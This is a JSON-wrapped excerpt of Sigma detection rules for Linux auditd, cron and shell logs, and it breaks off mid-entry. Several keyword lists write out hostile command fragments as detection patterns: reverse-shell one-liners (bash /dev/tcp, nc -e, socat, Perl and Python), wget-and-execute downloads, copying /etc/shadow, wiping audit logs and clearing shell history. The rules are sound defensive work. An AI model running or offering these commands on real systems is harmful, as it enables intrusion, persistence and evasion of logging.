"content": "title: Systemd Service Creation\nid: 1bac86ba-41aa-4f62-9d6b-405eac99b485\nstatus: test\ndescription: Detects a creation of systemd services which could be used by adversaries to execute malicious code.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md\nauthor: 'Pawel Mazur'\ndate: 2022-02-03\nmodified: 2022-02-06\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1543.002\nlogsource:\n product: linux\n service: auditd\ndetection:\n path:\n type: 'PATH'\n nametype: 'CREATE'\n name_1:\n name|startswith:\n - '/usr/lib/systemd/system/'\n - '/etc/systemd/system/'\n name_2:\n name|contains: '/.config/systemd/user/'\n condition: path and 1 of name_*\nfalsepositives:\n - Admin work like legit service installs.\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/path/lnx_auditd_unix_shell_configuration_modification.yml",
"content": "title: Unix Shell Configuration Modification\nid: a94cdd87-6c54-4678-a6cc-2814ffe5a13d\nrelated:\n - id: e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9\n type: obsolete\nstatus: test\ndescription: Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.\nreferences:\n - https://objective-see.org/blog/blog_0x68.html\n - https://web.archive.org/web/20221204161143/https://www.glitch-cat.com/p/green-lambert-and-attack\n - https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat\nauthor: Peter Matkovski, IAI\ndate: 2023-03-06\nmodified: 2023-03-15\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1546.004\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'PATH'\n name:\n - '/etc/shells'\n - '/etc/profile'\n - '/etc/profile.d/*'\n - '/etc/bash.bashrc'\n - '/etc/bashrc'\n - '/etc/zsh/zprofile'\n - '/etc/zsh/zshrc'\n - '/etc/zsh/zlogin'\n - '/etc/zsh/zlogout'\n - '/etc/csh.cshrc'\n - '/etc/csh.login'\n - '/root/.bashrc'\n - '/root/.bash_profile'\n - '/root/.profile'\n - '/root/.zshrc'\n - '/root/.zprofile'\n - '/home/*/.bashrc'\n - '/home/*/.zshrc'\n - '/home/*/.bash_profile'\n - '/home/*/.zprofile'\n - '/home/*/.profile'\n - '/home/*/.bash_login'\n - '/home/*/.bash_logout'\n - '/home/*/.zlogin'\n - '/home/*/.zlogout'\n condition: selection\nfalsepositives:\n - Admin or User activity are expected to generate some false positives\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/service_stop/lnx_auditd_disable_system_firewall.yml",
"content": "title: Disable System Firewall\nid: 53059bc0-1472-438b-956a-7508a94a91f0\nstatus: test\ndescription: Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md\n - https://firewalld.org/documentation/man-pages/firewall-cmd.html\nauthor: 'Pawel Mazur'\ndate: 2022-01-22\ntags:\n - attack.t1562.004\n - attack.defense-evasion\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'SERVICE_STOP'\n unit:\n - 'firewalld'\n - 'iptables'\n - 'ufw'\n condition: selection\nfalsepositives:\n - Admin activity\nlevel: high\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_clean_disable_dmesg_logs_via_syslog.yml",
"content": "title: Clear or Disable Kernel Ring Buffer Logs via Syslog Syscall\nid: eca5e022-d368-4043-98e5-9736fb01f72f\nstatus: experimental\ndescription: |\n Detects the use of the `syslog` syscall with action code 5 (SYSLOG_ACTION_CLEAR),\n (4 is SYSLOG_ACTION_READ_CLEAR and 6 is SYSLOG_ACTION_CONSOLE_OFF) which clears the kernel\n ring buffer (dmesg logs). This can be used by attackers to hide traces after exploitation\n or privilege escalation. A common technique is running `dmesg -c`, which triggers this syscall internally.\nreferences:\n - https://man7.org/linux/man-pages/man2/syslog.2.html\n - https://man7.org/linux/man-pages/man1/dmesg.1.html\nauthor: Milad Cheraghi\ndate: 2025-05-27\nmodified: 2025-12-05\ntags:\n - attack.defense-evasion\n - attack.t1070.002\nlogsource:\n product: linux\n service: auditd\n definition: |\n Required auditd configuration:\n -a always,exit -F arch=b64 -S syslog -F a0=4 -k clear_dmesg_logs\n -a always,exit -F arch=b64 -S syslog -F a0=5 -k clear_dmesg_logs\n -a always,exit -F arch=b64 -S syslog -F a0=6 -k disable_dmesg_logs\n -a always,exit -F arch=b32 -S syslog -F a0=4 -k clear_dmesg_logs\n -a always,exit -F arch=b32 -S syslog -F a0=5 -k clear_dmesg_logs\n -a always,exit -F arch=b32 -S syslog -F a0=6 -k disable_dmesg_logs\ndetection:\n selection:\n type: 'SYSCALL'\n SYSCALL: 'syslog'\n a0:\n - 4 # SYSLOG_ACTION_READ_CLEAR : Read and clear log\n - 5 # SYSLOG_ACTION_CLEAR: Clear kernel ring buffer (without reading)\n - 6 # SYSLOG_ACTION_CONSOLE_OFF: Disable logging to console\n condition: selection\nfalsepositives:\n - System administrators or scripts that intentionally clear logs\n - Debugging scripts\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_create_account.yml",
"content": "title: Creation Of An User Account\nid: 759d0d51-bc99-4b5e-9add-8f5b2c8e7512\nstatus: test\ndescription: Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\nreferences:\n - https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files\n - https://access.redhat.com/articles/4409591#audit-record-types-2\n - https://www.youtube.com/watch?v=VmvY5SQm5-Y&ab_channel=M45C07\nauthor: Marie Euler, Pawel Mazur\ndate: 2020-05-18\nmodified: 2022-12-20\ntags:\n - attack.t1136.001\n - attack.persistence\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_syscall_record_type:\n type: 'SYSCALL'\n exe|endswith: '/useradd'\n selection_add_user_record_type:\n type: 'ADD_USER' # This is logged without having to configure audit rules on both Ubuntu and Centos\n condition: 1 of selection_*\nfalsepositives:\n - Admin activity\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_load_module_insmod.yml",
"content": "title: Loading of Kernel Module via Insmod\nid: 106d7cbd-80ff-4985-b682-a7043e5acb72\nstatus: test\ndescription: |\n Detects loading of kernel modules with insmod command.\n Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\n Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md\n - https://linux.die.net/man/8/insmod\n - https://man7.org/linux/man-pages/man8/kmod.8.html\nauthor: 'Pawel Mazur'\ndate: 2021-11-02\nmodified: 2022-12-25\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1547.006\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'SYSCALL'\n comm: insmod\n exe: /usr/bin/kmod\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_network_service_scanning.yml",
"content": "title: Linux Network Service Scanning - Auditd\nid: 3761e026-f259-44e6-8826-719ed8079408\nrelated:\n - id: 3e102cd9-a70d-4a7a-9508-403963092f31\n type: derived\nstatus: test\ndescription: Detects enumeration of local or remote network services.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-21\nmodified: 2023-09-26\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n product: linux\n service: auditd\n definition: 'Configure these rules https://github.com/Neo23x0/auditd/blob/e181243a7c708e9d579557d6f80e0ed3d3483b89/audit.rules#L182-L183'\ndetection:\n selection:\n type: 'SYSCALL'\n exe|endswith:\n - '/telnet'\n - '/nmap'\n - '/netcat'\n - '/nc'\n - '/ncat'\n - '/nc.openbsd'\n key: 'network_connect_4'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_split_file_into_pieces.yml",
"content": "title: Split A File Into Pieces - Linux\nid: 2dad0cba-c62a-4a4f-949f-5f6ecd619769\nstatus: test\ndescription: 'Detection use of the command \"split\" to split files into parts and possible transfer.'\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md\nauthor: 'Igor Fits, oscd.community'\ndate: 2020-10-15\nmodified: 2022-11-28\ntags:\n - attack.exfiltration\n - attack.t1030\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'SYSCALL'\n comm: 'split'\n condition: selection\nfalsepositives:\n - Legitimate administrative activity\nlevel: low\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_susp_discovery_sysinfo_syscall.yml",
"content": "title: System Info Discovery via Sysinfo Syscall\nid: b207d563-a1d9-4275-b349-77d1eb55aa6d\nstatus: experimental\ndescription: |\n Detects use of the sysinfo system call in Linux, which provides a snapshot of key system statistics such as uptime, load averages, memory usage, and the number of running processes.\n Malware or reconnaissance tools might leverage sysinfo to fingerprint the system - gathering data to determine if it's a viable target.\nreferences:\n - https://github.com/CheraghiMilad/bypass-Neo23x0-auditd-config/blob/f1c478a37911a5447d5ffcd580f22b167bf3df14/sysinfo-syscall/README.md\n - https://man7.org/linux/man-pages/man2/sysinfo.2.html\nauthor: Milad Cheraghi\ndate: 2025-05-30\nmodified: 2025-12-05\ntags:\n - attack.discovery\n - attack.t1057\n - attack.t1082\nlogsource:\n product: linux\n service: auditd\n definition: |\n Required auditd configuration:\n -a always,exit -F arch=b64 -S sysinfo -k discovery_sysinfo_syscall\n -a always,exit -F arch=b32 -S sysinfo -k discovery_sysinfo_syscall\ndetection:\n selection:\n type: 'SYSCALL'\n SYSCALL: 'sysinfo'\n filter_optional_splunk:\n exe|endswith: '/bin/splunkd'\n condition: selection and not 1 of filter_optional_*\nfalsepositives:\n - Legitimate administrative activity\nlevel: low\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_susp_exe_folders.yml",
"content": "title: Program Executions in Suspicious Folders\nid: a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc\nstatus: test\ndescription: Detects program executions in suspicious non-program folders related to malware or hacking activity\nreferences:\n - Internal Research\nauthor: Florian Roth (Nextron Systems)\ndate: 2018-01-23\nmodified: 2021-11-27\ntags:\n - attack.t1587\n - attack.t1584\n - attack.resource-development\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'SYSCALL'\n exe|startswith:\n # Temporary folder\n - '/tmp/'\n # Web server\n - '/var/www/' # Standard\n - '/home/*/public_html/' # Per-user\n - '/usr/local/apache2/' # Classical Apache\n - '/usr/local/httpd/' # Old SuSE Linux 6.* Apache\n - '/var/apache/' # Solaris Apache\n - '/srv/www/' # SuSE Linux 9.*\n - '/home/httpd/html/' # Redhat 6 or older Apache\n - '/srv/http/' # ArchLinux standard\n - '/usr/share/nginx/html/' # ArchLinux nginx\n # Data dirs of typically exploited services (incomplete list)\n - '/var/lib/pgsql/data/'\n - '/usr/local/mysql/data/'\n - '/var/lib/mysql/'\n - '/var/vsftpd/'\n - '/etc/bind/'\n - '/var/named/'\n condition: selection\nfalsepositives:\n - Admin activity (especially in /tmp folders)\n - Crazy web applications\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_susp_special_file_creation_via_mknod_syscall.yml",
"content": "title: Special File Creation via Mknod Syscall\nid: 710bdbce-495d-491d-9a8f-7d0d88d2b41e\nstatus: experimental\ndescription: |\n Detects usage of the `mknod` syscall to create special files (e.g., character or block devices).\n Attackers or malware might use `mknod` to create fake devices, interact with kernel interfaces,\n or establish covert channels in Linux systems.\n Monitoring the use of `mknod` is important because this syscall is rarely used by legitimate applications,\n and it can be abused to bypass file system restrictions or create backdoors.\nreferences:\n - https://man7.org/linux/man-pages/man2/mknod.2.html\n - https://hopeness.medium.com/master-the-linux-mknod-command-a-comprehensive-guide-1c150a546aa8\nauthor: Milad Cheraghi\ndate: 2025-05-31\nmodified: 2025-12-05\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1543.003\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'SYSCALL'\n SYSCALL: 'mknod'\n condition: selection\nfalsepositives:\n - Device creation by legitimate scripts or init systems (udevadm, MAKEDEV)\n - Container runtimes or security tools during initialization\nlevel: low\n"
},
{
"path": "rules/linux/auditd/syscall/lnx_auditd_web_rce.yml",
"content": "title: Webshell Remote Command Execution\nid: c0d3734d-330f-4a03-aae2-65dacc6a8222\nstatus: test\ndescription: Detects possible command execution by web application/web shell\nreferences:\n - Personal Experience of the Author\n - https://www.vaadata.com/blog/what-is-command-injection-exploitations-and-security-best-practices/\nauthor: Ilyas Ochkov, Beyu Denis, oscd.community\ndate: 2019-10-12\nmodified: 2025-12-05\ntags:\n - attack.persistence\n - attack.t1505.003\nlogsource:\n product: linux\n service: auditd\n definition: |\n Required auditd configuration:\n -a always,exit -F arch=b32 -S execve -F euid=33 -k detect_execve_www\n -a always,exit -F arch=b64 -S execve -F euid=33 -k detect_execve_www\n -a always,exit -F arch=b32 -S execveat -F euid=33 -k detect_execve_www\n -a always,exit -F arch=b64 -S execveat -F euid=33 -k detect_execve_www\n Change the number \"33\" to the ID of your WebServer user. Default: www-data:x:33:33\ndetection:\n selection:\n type: 'SYSCALL'\n SYSCALL:\n - 'execve'\n - 'execveat'\n euid: 33\n condition: selection\nfalsepositives:\n - Admin activity\n - Crazy web applications\nlevel: critical\n"
},
{
"path": "rules/linux/builtin/clamav/lnx_clamav_relevant_message.yml",
"content": "title: Relevant ClamAV Message\nid: 36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb\nstatus: stable\ndescription: Detects relevant ClamAV messages\nreferences:\n - https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-03-01\ntags:\n - attack.resource-development\n - attack.t1588.001\nlogsource:\n product: linux\n service: clamav\ndetection:\n keywords:\n - 'Trojan*FOUND'\n - 'VirTool*FOUND'\n - 'Webshell*FOUND'\n - 'Rootkit*FOUND'\n - 'Htran*FOUND'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/cron/lnx_cron_crontab_file_modification.yml",
"content": "title: Modifying Crontab\nid: af202fd3-7bff-4212-a25a-fb34606cfcbe\nstatus: test\ndescription: Detects suspicious modification of crontab file.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md\nauthor: Pawel Mazur\ndate: 2022-04-16\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.persistence\n - attack.t1053.003\nlogsource:\n product: linux\n service: cron\ndetection:\n keywords:\n - 'REPLACE'\n condition: keywords\nfalsepositives:\n - Legitimate modification of crontab\nlevel: medium\n"
},
{
"path": "rules/linux/builtin/guacamole/lnx_guacamole_susp_guacamole.yml",
"content": "title: Guacamole Two Users Sharing Session Anomaly\nid: 1edd77db-0669-4fef-9598-165bda82826d\nstatus: test\ndescription: Detects suspicious session with two users present\nreferences:\n - https://research.checkpoint.com/2020/apache-guacamole-rce/\nauthor: Florian Roth (Nextron Systems)\ndate: 2020-07-03\nmodified: 2021-11-27\ntags:\n - attack.credential-access\n - attack.t1212\nlogsource:\n product: linux\n service: guacamole\ndetection:\n selection:\n - '(2 users now present)'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_apt_equationgroup_lnx.yml",
"content": "title: Equation Group Indicators\nid: 41e5c73d-9983-4b69-bd03-e13b67e9623c\nstatus: test\ndescription: Detects suspicious shell commands used in various Equation Group scripts and tools\nreferences:\n - https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-04-09\nmodified: 2021-11-27\ntags:\n - attack.execution\n - attack.g0020\n - attack.t1059.004\nlogsource:\n product: linux\ndetection:\n keywords:\n # evolvingstrategy, elgingamble, estesfox\n - 'chown root*chmod 4777 '\n - 'cp /bin/sh .;chown'\n # tmpwatch\n - 'chmod 4777 /tmp/.scsi/dev/bin/gsh'\n - 'chown root:root /tmp/.scsi/dev/bin/'\n # estesfox\n - 'chown root:root x;'\n # ratload\n - '/bin/telnet locip locport < /dev/console | /bin/sh'\n - '/tmp/ratload'\n # ewok\n - 'ewok -t '\n # xspy\n - 'xspy -display '\n # elatedmonkey\n - 'cat > /dev/tcp/127.0.0.1/80 < /dev/null'\n # noclient\n - 'ping -c 2 *; grep * /proc/net/arp >/tmp/gx'\n - 'iptables * OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;'\n # auditcleaner\n - '> /var/log/audit/audit.log; rm -f .'\n - 'cp /var/log/audit/audit.log .tmp'\n # reverse shell\n - 'sh >/dev/tcp/* <&1 2>&1'\n # packrat\n - 'ncat -vv -l -p * <'\n - 'nc -vv -l -p * <'\n # empty bowl\n - '< /dev/console | uudecode && uncompress'\n - 'sendmail -osendmail;chmod +x sendmail'\n # echowrecker\n - '/usr/bin/wget -O /tmp/a http* && chmod 755 /tmp/cron'\n # dubmoat\n - 'chmod 666 /var/run/utmp~'\n # poptop\n - 'chmod 700 nscd crond'\n # abopscript\n - 'cp /etc/shadow /tmp/.'\n # ys\n - ' /dev/null 2>&1 && uncompress'\n # jacktelnet\n - 'chmod 700 jp&&netstat -an|grep'\n # others\n - 'uudecode > /dev/null 2>&1 && uncompress -f * && chmod 755'\n - 'chmod 700 crond'\n - 'wget http*; chmod +x /tmp/sendmail'\n - 'chmod 700 fp sendmail pt'\n - 'chmod 755 /usr/vmsys/bin/pipe'\n - 'chmod -R 755 /usr/vmsys'\n - 'chmod 755 $opbin/*tunnel'\n - 'chmod 700 sendmail'\n - 'chmod 0700 sendmail'\n - '/usr/bin/wget http*sendmail;chmod +x sendmail;'\n - '&& telnet * 2>&1 /var/log/syslog'\n - ' > /var/log/syslog'\n falsepositives:\n - '/syslog.'\n condition: selection and not falsepositives\nfalsepositives:\n - Log rotation\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_file_copy.yml",
"content": "title: Remote File Copy\nid: 7a14080d-a048-4de8-ae58-604ce58a795b\nstatus: stable\ndescription: Detects the use of tools that copy files from or to remote systems\nreferences:\n - https://www.cisa.gov/stopransomware/ransomware-guide\nauthor: Ömer Günal\ndate: 2020-06-18\ntags:\n - attack.command-and-control\n - attack.lateral-movement\n - attack.t1105\nlogsource:\n product: linux\ndetection:\n tools:\n - 'scp '\n - 'rsync '\n - 'sftp '\n filter:\n - '@'\n - ':'\n condition: tools and filter\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/builtin/lnx_ldso_preload_injection.yml",
"content": "title: Code Injection by ld.so Preload\nid: 7e3c4651-c347-40c4-b1d4-d48590fdf684\nstatus: test\ndescription: Detects the ld.so preload persistence file. See `man ld.so` for more information.\nreferences:\n - https://man7.org/linux/man-pages/man8/ld.so.8.html\nauthor: Christian Burkard (Nextron Systems)\ndate: 2021-05-05\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1574.006\nlogsource:\n product: linux\ndetection:\n keywords:\n - '/etc/ld.so.preload'\n condition: keywords\nfalsepositives:\n - Rare temporary workaround for library misconfiguration\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_potential_susp_ebpf_activity.yml",
"content": "title: Potential Suspicious BPF Activity - Linux\nid: 0fadd880-6af3-4610-b1e5-008dc3a11b8a\nstatus: test\ndescription: Detects the presence of \"bpf_probe_write_user\" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.\nreferences:\n - https://redcanary.com/blog/ebpf-malware/\n - https://man7.org/linux/man-pages/man7/bpf-helpers.7.html\nauthor: Red Canary (idea), Nasreddine Bencherchali\ndate: 2023-01-25\ntags:\n - attack.persistence\n - attack.defense-evasion\nlogsource:\n product: linux\ndetection:\n selection:\n - 'bpf_probe_write_user'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_privileged_user_creation.yml",
"content": "title: Privileged User Has Been Created\nid: 0ac15ec3-d24f-4246-aa2a-3077bb1cf90e\nstatus: test\ndescription: Detects the addition of a new user to a privileged group such as \"root\" or \"sudo\"\nreferences:\n - https://digital.nhs.uk/cyber-alerts/2018/cc-2825\n - https://linux.die.net/man/8/useradd\n - https://github.com/redcanaryco/atomic-red-team/blob/25acadc0b43a07125a8a5b599b28bbc1a91ffb06/atomics/T1136.001/T1136.001.md#atomic-test-5---create-a-new-user-in-linux-with-root-uid-and-gid\nauthor: Pawel Mazur\ndate: 2022-12-21\nmodified: 2025-01-21\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1136.001\n - attack.t1098\nlogsource:\n product: linux\n definition: '/var/log/secure on REHL systems or /var/log/auth.log on debian like Systems needs to be collected in order for this detection to work'\ndetection:\n # Example of the events that could be observed when matching these would be as follow\n # Dec 21 16:42:19 testserver useradd[1337]: new user: name=butter1, UID=1000, GID=0, home=/root, shell=/bin/bash\n # Dec 21 17:13:54 testserver useradd[1337]: new user: name=john, UID=0, GID=0, home=/home/john, shell=/bin/bash\n # Dec 21 17:24:40 testserver useradd[1337]: new user: name=butter3, UID=1000, GID=10, home=/home/butter3, shell=/bin/bash\n # Dec 21 17:30:22 testserver useradd[1337]: new user: name=butter4, UID=1000, GID=27, home=/home/butter4, shell=/bin/bash\n selection_new_user:\n - 'new user'\n selection_uids_gids:\n - 'GID=0,' # root group\n - 'UID=0,' # root UID\n - 'GID=10,' # wheel group\n - 'GID=27,' # sudo group\n condition: all of selection_*\nfalsepositives:\n - Administrative activity\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_shell_clear_cmd_history.yml",
"content": "title: Linux Command History Tampering\nid: fdc88d25-96fb-4b7c-9633-c0e417fdbd4e\nstatus: test\ndescription: |\n Detects commands that try to clear or tamper with the Linux command history.\n This technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as \"bash_history\" or \"zsh_history\".\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md\n - https://www.hackers-arise.com/post/2016/06/20/covering-your-bash-shell-tracks-antiforensics\n - https://www.cadosecurity.com/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence/\nauthor: Patrick Bareiss\ndate: 2019-03-24\nmodified: 2024-04-17\ntags:\n - attack.defense-evasion\n - attack.t1070.003\n# Example config for this one (place it in .bash_profile):\n# (is_empty=false; inotifywait -m .bash_history | while read file; do if [ $(wc -l <.bash_history) -lt 1 ]; then if [ \"$is_empty\" = false ]; then logger -i -p local5.info -t empty_bash_history \"$USER : ~/.bash_history is empty \"; is_empty=true; fi; else is_empty=false; fi; done ) &\n# It monitors the size of .bash_history and log the words \"empty_bash_history\" whenever a previously not empty bash_history becomes empty\n# We define an empty file as a document with 0 or 1 lines (it can be a line with only one space character for example)\n# It has two advantages over the version suggested by Patrick Bareiss :\n# - it is not relative to the exact command used to clear .bash_history : for instance Caldera uses \"> .bash_history\" to clear the history and this is not one the commands listed here. We can't be exhaustive for all the possibilities !\n# - the method suggested by Patrick Bareiss logs all the commands entered directly in a bash shell. therefore it may miss some events (for instance it doesn't log the commands launched from a Caldera agent). Here if .bash_history is cleared, it will always be detected\nlogsource:\n product: linux\ndetection:\n keywords:\n - 'cat /dev/null >*sh_history'\n - 'cat /dev/zero >*sh_history'\n - 'chattr +i*sh_history'\n - 'echo \"\" >*sh_history'\n - 'empty_bash_history'\n - 'export HISTFILESIZE=0'\n - 'history -c'\n - 'history -w'\n - 'ln -sf /dev/null *sh_history'\n - 'ln -sf /dev/zero *sh_history'\n - 'rm *sh_history'\n - 'shopt -ou history'\n - 'shopt -uo history'\n - 'shred *sh_history'\n - 'truncate -s0 *sh_history'\n # - 'unset HISTFILE' # prone to false positives\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_shell_susp_commands.yml",
"content": "title: Suspicious Activity in Shell Commands\nid: 2aa1440c-9ae9-4d92-84a7-a9e5f5e31695\nstatus: test\ndescription: Detects suspicious shell commands used in various exploit codes (see references)\nreferences:\n - https://web.archive.org/web/20170319121015/http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html\n - https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb\n - http://pastebin.com/FtygZ1cg\n - https://artkond.com/2017/03/23/pivoting-guide/\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-08-21\nmodified: 2021-11-27\ntags:\n - attack.execution\n - attack.t1059.004\nlogsource:\n product: linux\ndetection:\n keywords:\n # Generic suspicious commands\n - 'wget * - http* | perl'\n - 'wget * - http* | sh'\n - 'wget * - http* | bash'\n - 'python -m SimpleHTTPServer'\n - '-m http.server' # Python 3\n - 'import pty; pty.spawn*'\n - 'socat exec:*'\n - 'socat -O /tmp/*'\n - 'socat tcp-connect*'\n - '*echo binary >>*'\n # Malware\n - '*wget *; chmod +x*'\n - '*wget *; chmod 777 *'\n - '*cd /tmp || cd /var/run || cd /mnt*'\n # Apache Struts in-the-wild exploit codes\n - '*stop;service iptables stop;*'\n - '*stop;SuSEfirewall2 stop;*'\n - 'chmod 777 2020*'\n - '*>>/etc/rc.local'\n # Metasploit framework exploit codes\n - '*base64 -d /tmp/*'\n - '* | base64 -d *'\n - '*/chmod u+s *'\n - '*chmod +s /tmp/*'\n - '*chmod u+s /tmp/*'\n - '* /tmp/haxhax*'\n - '* /tmp/ns_sploit*'\n - 'nc -l -p *'\n - 'cp /bin/ksh *'\n - 'cp /bin/sh *'\n - '* /tmp/*.b64 *'\n - '*/tmp/ysocereal.jar*'\n - '*/tmp/x *'\n - '*; chmod +x /tmp/*'\n - '*;chmod +x /tmp/*'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_shell_susp_log_entries.yml",
"content": "title: Suspicious Log Entries\nid: f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1\nstatus: test\ndescription: Detects suspicious log entries in Linux log files\nreferences:\n - https://github.com/ossec/ossec-hids/blob/f6502012b7380208db81f82311ad4a1994d39905/etc/rules/syslog_rules.xml\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-03-25\nmodified: 2021-11-27\ntags:\n - attack.impact\nlogsource:\n product: linux\ndetection:\n keywords:\n # Generic suspicious log lines\n - 'entered promiscuous mode'\n # OSSEC https://github.com/ossec/ossec-hids/blob/master/etc/rules/syslog_rules.xml\n - 'Deactivating service'\n - 'Oversized packet received from'\n - 'imuxsock begins to drop messages'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/builtin/lnx_shell_susp_rev_shells.yml",
"content": "title: Suspicious Reverse Shell Command Line\nid: 738d9bcf-6999-4fdb-b4ac-3033037db8ab\nstatus: test\ndescription: Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell\nreferences:\n - https://alamot.github.io/reverse_shells/\nauthor: Florian Roth (Nextron Systems)\ndate: 2019-04-02\nmodified: 2021-11-27\ntags:\n - attack.execution\n - attack.t1059.004\nlogsource:\n product: linux\ndetection:\n keywords:\n - 'BEGIN {s = \"/inet/tcp/0/'\n - 'bash -i >& /dev/tcp/'\n - 'bash -i >& /dev/udp/'\n - 'sh -i >$ /dev/udp/'\n - 'sh -i >$ /dev/tcp/'\n - '&& while read line 0<&5; do'\n - '/bin/bash -c exec 5<>/dev/tcp/'\n - '/bin/bash -c exec 5<>/dev/udp/'\n - 'nc -e /bin/sh '\n - '/bin/sh | nc'\n - 'rm -f backpipe; mknod /tmp/backpipe p && nc '\n - ';socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i))))'\n - ';STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\n - '/bin/sh -i <&3 >&3 2>&3'\n - 'uname -a; w; id; /bin/bash -i'\n - '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()};'\n - ';os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(''HISTFILE'',''/dev/null'');'\n - '.to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'\n - ';while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print'\n - 'socat exec:''bash -li'',pty,stderr,setsid,sigint,sane tcp:'\n - 'rm -f /tmp/p; mknod /tmp/p p &&'\n - ' | /bin/bash | telnet '\n - ',echo=0,raw tcp-listen:'\n - 'nc -lvvp '\n - 'xterm -display 1'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_shellshock.yml",
